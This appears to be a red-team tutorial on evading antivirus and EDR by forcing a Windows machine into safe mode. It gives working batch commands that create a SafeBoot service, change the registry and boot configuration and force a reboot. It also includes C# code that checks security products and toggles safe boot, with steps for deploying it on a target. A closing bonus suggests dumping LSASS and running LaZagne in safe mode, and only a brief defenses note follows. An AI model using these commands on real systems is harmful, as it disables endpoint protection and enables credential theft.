Bypass AV/EDR using Safe Mode

Bypass AV/EDR using Safe Mode during your Red Teaming experiments.
Several pieces of malware are using EDR/AV in safe mode to execute the malicious code and evade detection.

Safe mode scripts

sc create CheckSafeMode binpath= "C:\Users\Public\CheckSafeMode.exe" type= own start= auto DisplayName= "CheckSafeMode"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode" /f /v "Service"
bcdedit /set {current} safeboot Minimal
shutdown /r /f /t 00
sc delete CheckSafeMode
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\CheckSafeMode" /f
using System;
using System.Collections.Generic;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Management;
namespace CheckSafeMode
class Program
internal const int SM_CLEANBOOT = 67;
internal static extern int GetSystemMetrics(int smIndex);
static void Main(string[] args)
var IsSafeMode = GetSystemMetrics(SM_CLEANBOOT);
bool safeModeActive = Convert.ToBoolean(IsSafeMode);
if (safeModeActive)
ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct");
ManagementObjectCollection data = wmiData.Get();
foreach (ManagementObject virusChecker in data)
var AvName = virusChecker["displayName"];
var xstate = virusChecker["productState"];
var f = Convert.ToInt32(xstate);
var zz = f.ToString("X").PadLeft(6, '0');
var StatusOfAV = "";
var y = zz.Substring(2, 2);
switch (y)
case "00":
StatusOfAV = "OFF";
case "01":
StatusOfAV = "Exipired";
case "10":
StatusOfAV = "ON";
case "11":
StatusOfAV = "Snoozed";
StatusOfAV = "Unknown";
string text = String.Format("In SafeBoot Mode = {0} AVInstalled = {1} Status = {2} ", Convert.ToBoolean(IsSafeMode).ToString(), AvName.ToString(), StatusOfAV);
System.IO.File.WriteAllText(@"C:\Users\Public\SafeBoot.txt", text);
BcdStoreAccessor b = new BcdStoreAccessor();
//some stuff came from here
public static bool AntivirusInstalled()
string wmipathstr = @"\\" + Environment.MachineName + @"\root\SecurityCenter2";
ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipathstr, "SELECT * FROM AntivirusProduct");
ManagementObjectCollection instances = searcher.Get();
return instances.Count > 0;
catch (Exception e)
return false;
public class BcdStoreAccessor
public const int BcdOSLoaderInteger_SafeBoot = 0x25000080;
public enum BcdLibrary_SafeBoot
SafemodeMinimal = 0,
SafemodeNetwork = 1,
SafemodeDsRepair = 2
private ConnectionOptions connectionOptions;
private ManagementScope managementScope;
private ManagementPath managementPath;
public BcdStoreAccessor()
connectionOptions = new ConnectionOptions();
connectionOptions.Impersonation = ImpersonationLevel.Impersonate;
connectionOptions.EnablePrivileges = true;
managementScope = new ManagementScope("root\\WMI", connectionOptions);
managementPath = new ManagementPath("root\\WMI:BcdObject.Id=\"{fa926493-6f1c-4193-a414-58f0b2456d1e}\",StoreFilePath=\"\"");
public void SetSafeboot()
ManagementObject currentBootloader = new ManagementObject(managementScope, managementPath, null);
currentBootloader.InvokeMethod("SetIntegerElement", new object[] { BcdOSLoaderInteger_SafeBoot, BcdLibrary_SafeBoot.SafemodeMinimal });
public void RemoveSafeboot()
ManagementObject currentBootloader = new ManagementObject(managementScope, managementPath, null);
currentBootloader.InvokeMethod("DeleteElement", new object[] { BcdOSLoaderInteger_SafeBoot });
public class Shutdown
public static void Restart()
StartShutDown("-f -r -t 5");
/// <summary>
/// Log off.
/// </summary>
public static void LogOff()
/// <summary>
/// Shutting Down Windows
/// </summary>
public static void Shut()
StartShutDown("-f -s -t 5");
private static void StartShutDown(string param)
ProcessStartInfo proc = new ProcessStartInfo();
proc.FileName = "cmd";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.Arguments = "/C shutdown " + param;

Step by step

Initially, the scripts need to be uploaded into the target machine: C:\users\public
In short, the CheckSafeMode.cs script will try to identify the security AV/EDR, check if it is running, and put the machine in save mode and, restart the machine.
Here, how we can compile the CS file:
:> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc CheckSafeMode.cs
After compiling the file, we need to run the DoIt.bat file as administration rights. This script will create the service and modify some registry keys that are essential to run the service in safe mode and boot it into safe mode.
As observed above, after add the registry keys the machine is rebooted. When it comes up, it runs the exe file we have compiled to check if the security tools are running, removes safeboot option and then restarts. It takes about 30 seconds to finish.

We got it!

After it reboots out of safe mode, we can log back in and see the file it created with the output of the exe.
This lets us know about the security product and if it is running. The results below are for defender. EDR vendor results are much more interesting.

Removing safe mode service (house cleaning)

Finally, we can run undoit.bat to remove the service we have created and also remove the registry key.

Bonus: LSASS dump + LaZagne

Of course, we can use this technique to dump LSASS in safe mode, LaZagne, BloodHound ingestor and everything you want/need.

Detection / Defenses

Looking for changes in the registry:
Consider checking if the EDR runs in safe mode. If it doesn’t, check with your vendor to see what they recommend to detect this technique.